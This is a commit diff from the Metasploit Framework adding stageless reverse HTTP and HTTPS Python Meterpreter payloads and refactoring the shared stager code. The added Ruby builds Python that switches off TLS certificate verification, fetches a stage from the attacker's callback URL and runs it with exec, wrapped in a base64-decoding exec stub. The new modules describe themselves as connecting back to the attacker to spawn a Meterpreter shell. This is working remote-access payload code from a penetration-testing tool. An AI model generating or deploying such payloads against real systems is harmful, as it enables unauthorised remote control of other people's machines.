Land #6299, Stageless HTTP(S) Python Meterpreter
commit
14b1b3a1f0
|
@ -13,7 +13,7 @@ PATH
|
||||||
metasploit-concern (= 1.0.0)
|
metasploit-concern (= 1.0.0)
|
||||||
metasploit-credential (= 1.0.1)
|
metasploit-credential (= 1.0.1)
|
||||||
metasploit-model (= 1.0.0)
|
metasploit-model (= 1.0.0)
|
||||||
metasploit-payloads (= 1.0.17)
|
metasploit-payloads (= 1.0.18)
|
||||||
metasploit_data_models (= 1.2.9)
|
metasploit_data_models (= 1.2.9)
|
||||||
msgpack
|
msgpack
|
||||||
network_interface (~> 0.0.1)
|
network_interface (~> 0.0.1)
|
||||||
|
@ -123,7 +123,7 @@ GEM
|
||||||
activemodel (>= 4.0.9, < 4.1.0)
|
activemodel (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.17)
|
metasploit-payloads (1.0.18)
|
||||||
metasploit_data_models (1.2.9)
|
metasploit_data_models (1.2.9)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
|
|
|
@ -285,23 +285,14 @@ protected
|
||||||
|
|
||||||
blob = ""
|
blob = ""
|
||||||
blob << obj.generate_stage(
|
blob << obj.generate_stage(
|
||||||
|
http_url: url,
|
||||||
|
http_user_agent: datastore['MeterpreterUserAgent'],
|
||||||
|
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
||||||
|
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
|
||||||
uuid: uuid,
|
uuid: uuid,
|
||||||
uri: conn_id
|
uri: conn_id
|
||||||
)
|
)
|
||||||
|
|
||||||
var_escape = lambda { |txt|
|
|
||||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
|
||||||
}
|
|
||||||
|
|
||||||
# Patch all the things
|
|
||||||
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
|
||||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
|
||||||
|
|
||||||
unless datastore['PayloadProxyHost'].blank?
|
|
||||||
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
|
||||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
|
||||||
end
|
|
||||||
|
|
||||||
resp.body = blob
|
resp.body = blob
|
||||||
|
|
||||||
# Short-circuit the payload's handle_connection processing for create_session
|
# Short-circuit the payload's handle_connection processing for create_session
|
||||||
|
|
|
@ -5,7 +5,9 @@ module Msf::Payload::Python
|
||||||
|
|
||||||
#
|
#
|
||||||
# Encode the given python command in base64 and wrap it with a stub
|
# Encode the given python command in base64 and wrap it with a stub
|
||||||
# that will decode and execute it on the fly.
|
# that will decode and execute it on the fly. The code will be condensed to
|
||||||
|
# one line and compatible with all Python versions supported by the Python
|
||||||
|
# Meterpreter stage.
|
||||||
#
|
#
|
||||||
# @param cmd [String] The python code to execute.
|
# @param cmd [String] The python code to execute.
|
||||||
# @return [String] Full python stub to execute the command.
|
# @return [String] Full python stub to execute the command.
|
||||||
|
|
|
@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader
|
||||||
# configuration
|
# configuration
|
||||||
#
|
#
|
||||||
# @param opts [Hash] The options to use for patching the stage data.
|
# @param opts [Hash] The options to use for patching the stage data.
|
||||||
|
# @option opts [String] :http_proxy_host The host to use as a proxy for
|
||||||
|
# HTTP(S) transports.
|
||||||
|
# @option opts [String] :http_proxy_port The port to use when a proxy host is
|
||||||
|
# set for HTTP(S) transports.
|
||||||
|
# @option opts [String] :http_url The HTTP(S) URL to patch in to
|
||||||
|
# allow use of the stage as a stageless payload.
|
||||||
|
# @option opts [String] :http_user_agent The value to use for the User-Agent
|
||||||
|
# header for HTTP(S) transports.
|
||||||
# @option opts [String] :stageless_tcp_socket_setup Python code to execute to
|
# @option opts [String] :stageless_tcp_socket_setup Python code to execute to
|
||||||
# setup a tcp socket to allow use of the stage as a stageless payload.
|
# setup a tcp socket to allow use of the stage as a stageless payload.
|
||||||
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
||||||
|
@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader
|
||||||
def stage_meterpreter(opts={})
|
def stage_meterpreter(opts={})
|
||||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
||||||
|
|
||||||
|
var_escape = lambda { |txt|
|
||||||
|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||||
|
}
|
||||||
|
|
||||||
if datastore['PythonMeterpreterDebug']
|
if datastore['PythonMeterpreterDebug']
|
||||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||||
end
|
end
|
||||||
|
@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader
|
||||||
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
||||||
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
||||||
|
|
||||||
|
# patch in the stageless http(s) connection url
|
||||||
|
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
|
||||||
|
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
|
||||||
|
|
||||||
|
if opts[:http_proxy_host].to_s != ''
|
||||||
|
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
|
||||||
|
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||||
|
end
|
||||||
|
|
||||||
# patch in any optional stageless tcp socket setup
|
# patch in any optional stageless tcp socket setup
|
||||||
unless opts[:stageless_tcp_socket_setup].nil?
|
unless opts[:stageless_tcp_socket_setup].nil?
|
||||||
socket_setup = opts[:stageless_tcp_socket_setup]
|
socket_setup = opts[:stageless_tcp_socket_setup]
|
||||||
|
|
|
@ -0,0 +1,132 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
module Payload::Python::ReverseHttp
|
||||||
|
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(info)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
|
||||||
|
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the first stage
|
||||||
|
#
|
||||||
|
def generate(opts={})
|
||||||
|
opts.merge!({
|
||||||
|
host: datastore['LHOST'] || '127.127.127.127',
|
||||||
|
port: datastore['LPORT'],
|
||||||
|
proxy_host: datastore['PayloadProxyHost'],
|
||||||
|
proxy_port: datastore['PayloadProxyPort'],
|
||||||
|
user_agent: datastore['MeterpreterUserAgent']
|
||||||
|
})
|
||||||
|
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||||
|
|
||||||
|
generate_reverse_http(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return the callback URL
|
||||||
|
#
|
||||||
|
def generate_callback_url(opts)
|
||||||
|
# required opts:
|
||||||
|
# host, port, scheme
|
||||||
|
if Rex::Socket.is_ipv6?(opts[:host])
|
||||||
|
target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
|
||||||
|
else
|
||||||
|
target_url = "#{opts[:scheme]}://#{opts[:host]}"
|
||||||
|
end
|
||||||
|
|
||||||
|
target_url << ':'
|
||||||
|
target_url << opts[:port].to_s
|
||||||
|
target_url << generate_callback_uri(opts)
|
||||||
|
target_url
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return the longest URI that fits into our available space
|
||||||
|
#
|
||||||
|
def generate_callback_uri(opts={})
|
||||||
|
uri_req_len = 30 + rand(256-30)
|
||||||
|
|
||||||
|
# Generate the short default URL if we don't have enough space
|
||||||
|
if self.available_space.nil? || required_space > self.available_space
|
||||||
|
uri_req_len = 5
|
||||||
|
end
|
||||||
|
|
||||||
|
generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_reverse_http(opts={})
|
||||||
|
# required opts:
|
||||||
|
# proxy_host, proxy_port, scheme, user_agent
|
||||||
|
var_escape = lambda { |txt|
|
||||||
|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||||
|
}
|
||||||
|
|
||||||
|
proxy_host = opts[:proxy_host]
|
||||||
|
proxy_port = opts[:proxy_port]
|
||||||
|
|
||||||
|
urllib_fromlist = ['\'build_opener\'']
|
||||||
|
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
|
||||||
|
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
|
||||||
|
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
|
||||||
|
|
||||||
|
cmd = "import sys\n"
|
||||||
|
cmd << "vi=sys.version_info\n"
|
||||||
|
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||||
|
cmd << "hs=[]\n"
|
||||||
|
if opts[:scheme] == 'https'
|
||||||
|
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||||
|
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||||
|
cmd << "\timport ssl\n"
|
||||||
|
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||||
|
cmd << "\tsc.check_hostname=False\n"
|
||||||
|
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||||
|
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
if proxy_host.to_s != ''
|
||||||
|
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||||
|
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||||
|
"http://#{proxy_host}:#{proxy_port}"
|
||||||
|
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd << "o=ul.build_opener(*hs)\n"
|
||||||
|
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
|
||||||
|
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||||
|
|
||||||
|
py_create_exec_stub(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Determine the maximum amount of space required for the features requested
|
||||||
|
#
|
||||||
|
def required_space
|
||||||
|
# Start with our cached default generated size
|
||||||
|
space = cached_size
|
||||||
|
|
||||||
|
# Add 100 bytes for the encoder to have some room
|
||||||
|
space += 100
|
||||||
|
|
||||||
|
# Make room for the maximum possible URL length
|
||||||
|
space += 256
|
||||||
|
|
||||||
|
# The final estimated size
|
||||||
|
space
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -63,4 +63,3 @@ module Payload::Python::ReverseTcp
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||||
# Needed for Meterpreter
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.17'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.0.18'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# get list of network interfaces, like eth* from OS.
|
# get list of network interfaces, like eth* from OS.
|
||||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 49482
|
CachedSize = 50226
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Python
|
include Msf::Payload::Python
|
||||||
|
|
|
@ -0,0 +1,47 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_http'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
|
require 'msf/core/payload/python/meterpreter_loader'
|
||||||
|
require 'msf/core/payload/python/reverse_http'
|
||||||
|
require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
|
module Metasploit4
|
||||||
|
|
||||||
|
CachedSize = 50190
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Python
|
||||||
|
include Msf::Payload::Python::ReverseHttp
|
||||||
|
include Msf::Payload::Python::MeterpreterLoader
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline',
|
||||||
|
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_reverse_http(opts={})
|
||||||
|
opts[:uri_uuid_mode] = :init_connect
|
||||||
|
met = stage_meterpreter({
|
||||||
|
http_url: generate_callback_url(opts),
|
||||||
|
http_user_agent: opts[:user_agent],
|
||||||
|
http_proxy_host: opts[:proxy_host],
|
||||||
|
http_proxy_port: opts[:proxy_port]
|
||||||
|
})
|
||||||
|
|
||||||
|
py_create_exec_stub(met)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,48 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_https'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
|
require 'msf/core/payload/python/meterpreter_loader'
|
||||||
|
require 'msf/core/payload/python/reverse_http'
|
||||||
|
require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
|
module Metasploit4
|
||||||
|
|
||||||
|
CachedSize = 50190
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Python
|
||||||
|
include Msf::Payload::Python::ReverseHttp
|
||||||
|
include Msf::Payload::Python::MeterpreterLoader
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
|
||||||
|
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttps,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_reverse_http(opts={})
|
||||||
|
opts[:scheme] = 'https'
|
||||||
|
opts[:uri_uuid_mode] = :init_connect
|
||||||
|
met = stage_meterpreter({
|
||||||
|
http_url: generate_callback_url(opts),
|
||||||
|
http_user_agent: opts[:user_agent],
|
||||||
|
http_proxy_host: opts[:proxy_host],
|
||||||
|
http_proxy_port: opts[:proxy_port]
|
||||||
|
})
|
||||||
|
|
||||||
|
py_create_exec_stub(met)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 49398
|
CachedSize = 50146
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Python
|
include Msf::Payload::Python
|
||||||
|
|
|
@ -5,12 +5,16 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_http'
|
require 'msf/core/handler/reverse_http'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
|
require 'msf/core/payload/python/reverse_http'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 466
|
CachedSize = 494
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Python
|
||||||
|
include Msf::Payload::Python::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -23,90 +27,6 @@ module Metasploit3
|
||||||
'Handler' => Msf::Handler::ReverseHttp,
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
'Stager' => {'Payload' => ""}
|
'Stager' => {'Payload' => ""}
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
|
||||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Constructs the payload
|
|
||||||
#
|
|
||||||
def generate
|
|
||||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
|
||||||
|
|
||||||
var_escape = lambda { |txt|
|
|
||||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
|
||||||
}
|
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(lhost)
|
|
||||||
target_url = "http://[#{lhost}]"
|
|
||||||
else
|
|
||||||
target_url = "http://#{lhost}"
|
|
||||||
end
|
|
||||||
|
|
||||||
target_url << ':'
|
|
||||||
target_url << datastore['LPORT'].to_s
|
|
||||||
target_url << '/'
|
|
||||||
target_url << generate_callback_uri
|
|
||||||
|
|
||||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
|
||||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
|
||||||
|
|
||||||
cmd = "import sys\n"
|
|
||||||
if proxy_host == ''
|
|
||||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
|
||||||
else
|
|
||||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
|
||||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
|
||||||
"http://#{proxy_host}:#{proxy_port}"
|
|
||||||
|
|
||||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
|
||||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
|
||||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
|
||||||
|
|
||||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
|
||||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
|
||||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
|
||||||
b64_stub << Rex::Text.encode_base64(cmd)
|
|
||||||
b64_stub << "')))"
|
|
||||||
return b64_stub
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Determine the maximum amount of space required for the features requested
|
|
||||||
#
|
|
||||||
def required_space
|
|
||||||
# Start with our cached default generated size
|
|
||||||
space = cached_size
|
|
||||||
|
|
||||||
# Add 100 bytes for the encoder to have some room
|
|
||||||
space += 100
|
|
||||||
|
|
||||||
# Make room for the maximum possible URL length
|
|
||||||
space += 256
|
|
||||||
|
|
||||||
# The final estimated size
|
|
||||||
space
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Return the longest URL that fits into our available space
|
|
||||||
#
|
|
||||||
def generate_callback_uri
|
|
||||||
uri_req_len = 30 + rand(256-30)
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't have enough space
|
|
||||||
if self.available_space.nil? || required_space > self.available_space
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, uri_req_len)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,14 +5,16 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_https'
|
require 'msf/core/handler/reverse_https'
|
||||||
require 'msf/core/payload/uuid/options'
|
require 'msf/core/payload/python'
|
||||||
|
require 'msf/core/payload/python/reverse_http'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 762
|
CachedSize = 762
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::Python
|
||||||
|
include Msf::Payload::Python::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -25,103 +27,13 @@ module Metasploit3
|
||||||
'Handler' => Msf::Handler::ReverseHttps,
|
'Handler' => Msf::Handler::ReverseHttps,
|
||||||
'Stager' => {'Payload' => ""}
|
'Stager' => {'Payload' => ""}
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
|
||||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Constructs the payload
|
# Constructs the payload
|
||||||
#
|
#
|
||||||
def generate
|
def generate
|
||||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
super({scheme: 'https'})
|
||||||
|
|
||||||
var_escape = lambda { |txt|
|
|
||||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
|
||||||
}
|
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(lhost)
|
|
||||||
target_url = "https://[#{lhost}]"
|
|
||||||
else
|
|
||||||
target_url = "https://#{lhost}"
|
|
||||||
end
|
|
||||||
|
|
||||||
target_url << ':'
|
|
||||||
target_url << datastore['LPORT'].to_s
|
|
||||||
target_url << generate_callback_uri
|
|
||||||
|
|
||||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
|
||||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
|
||||||
|
|
||||||
if proxy_host == ''
|
|
||||||
urllib_fromlist = "['HTTPSHandler','build_opener']"
|
|
||||||
else
|
|
||||||
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd = "import sys\n"
|
|
||||||
cmd << "vi=sys.version_info\n"
|
|
||||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
|
||||||
cmd << "hs=[]\n"
|
|
||||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
|
||||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
|
||||||
cmd << "\timport ssl\n"
|
|
||||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
|
||||||
cmd << "\tsc.check_hostname=False\n"
|
|
||||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
|
||||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
|
||||||
|
|
||||||
if proxy_host != ''
|
|
||||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
|
||||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
|
||||||
"http://#{proxy_host}:#{proxy_port}"
|
|
||||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd << "o=ul.build_opener(*hs)\n"
|
|
||||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
|
||||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
|
||||||
|
|
||||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
|
||||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
|
||||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
|
||||||
b64_stub << Rex::Text.encode_base64(cmd)
|
|
||||||
b64_stub << "')))"
|
|
||||||
return b64_stub
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Determine the maximum amount of space required for the features requested
|
|
||||||
#
|
|
||||||
def required_space
|
|
||||||
# Start with our cached default generated size
|
|
||||||
space = cached_size
|
|
||||||
|
|
||||||
# Add 100 bytes for the encoder to have some room
|
|
||||||
space += 100
|
|
||||||
|
|
||||||
# Make room for the maximum possible URL length
|
|
||||||
space += 256
|
|
||||||
|
|
||||||
# The final estimated size
|
|
||||||
space
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Return the longest URL that fits into our available space
|
|
||||||
#
|
|
||||||
def generate_callback_uri
|
|
||||||
uri_req_len = 30 + rand(256-30)
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't have enough space
|
|
||||||
if self.available_space.nil? || required_space > self.available_space
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
generate_uri_uuid_mode(:init_python, uri_req_len)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -2255,6 +2255,26 @@ describe 'modules/payloads', :content do
|
||||||
reference_name: 'python/meterpreter_bind_tcp'
|
reference_name: 'python/meterpreter_bind_tcp'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'python/meterpreter_reverse_http' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/python/meterpreter_reverse_http'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'python/meterpreter_reverse_http'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'python/meterpreter_reverse_https' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/python/meterpreter_reverse_https'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'python/meterpreter_reverse_https'
|
||||||
|
end
|
||||||
|
|
||||||
context 'python/meterpreter_reverse_tcp' do
|
context 'python/meterpreter_reverse_tcp' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
Loading…
Reference in New Issue